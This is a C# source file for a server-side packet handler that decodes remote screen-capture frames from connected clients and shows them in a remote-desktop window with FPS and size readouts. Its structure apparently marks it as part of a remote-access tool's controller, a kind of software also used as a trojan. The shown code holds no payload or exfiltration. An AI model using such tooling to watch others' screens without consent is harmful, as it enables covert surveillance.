using Server.Forms;
using Server.Helper;
using Server.MessagePack;
using Server.Connection;
using System;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Windows.Forms;

namespace Server.Handle_Packet
{
    public class HandleRemoteDesktop
    {
        public void Capture(Clients client, MsgPack unpack_msgpack)
        {
            try
            {
                FormRemoteDesktop RD = (FormRemoteDesktop)Application.OpenForms["RemoteDesktop:" + unpack_msgpack.ForcePathObject("ID").AsString];
                try
                {
                    if (RD != null)
                    {
                        if (RD.Client == null)
                        {
                            RD.Client = client;
                            RD.labelWait.Visible = false;
                            RD.timer1.Start();
                            byte[] RdpStream0 = unpack_msgpack.ForcePathObject("Stream").GetAsBytes();
                            Bitmap decoded0 = RD.decoder.DecodeData(new MemoryStream(RdpStream0));
                            RD.rdSize = decoded0.Size;
                            int Screens = Convert.ToInt32(unpack_msgpack.ForcePathObject("Screens").GetAsInteger());
                            RD.numericUpDown2.Maximum = Screens - 1;
                        }
                        byte[] RdpStream = unpack_msgpack.ForcePathObject("Stream").GetAsBytes();
                        lock (RD.syncPicbox)
                        {
                            Bitmap decoded = RD.decoder.DecodeData(new MemoryStream(RdpStream));

                            RD.pictureBox1.Image = decoded;
                            RD.FPS++;
                            if (RD.sw.ElapsedMilliseconds >= 1000)
                            {
                                RD.Text = "RemoteDesktop:" + client.ID + "    FPS:" + RD.FPS + "    Screen:" + decoded.Width + " x " + decoded.Height + "    Size:" + Methods.BytesToString(RdpStream.Length);
                                RD.FPS = 0;
                                RD.sw = Stopwatch.StartNew();
                            }
                        }
                    }
                    else
                    {
                        client.Disconnected();
                        return;
                    }
                }
                catch (Exception ex) { Debug.WriteLine(ex.Message); }
            }
            catch { }
        }
    }
}
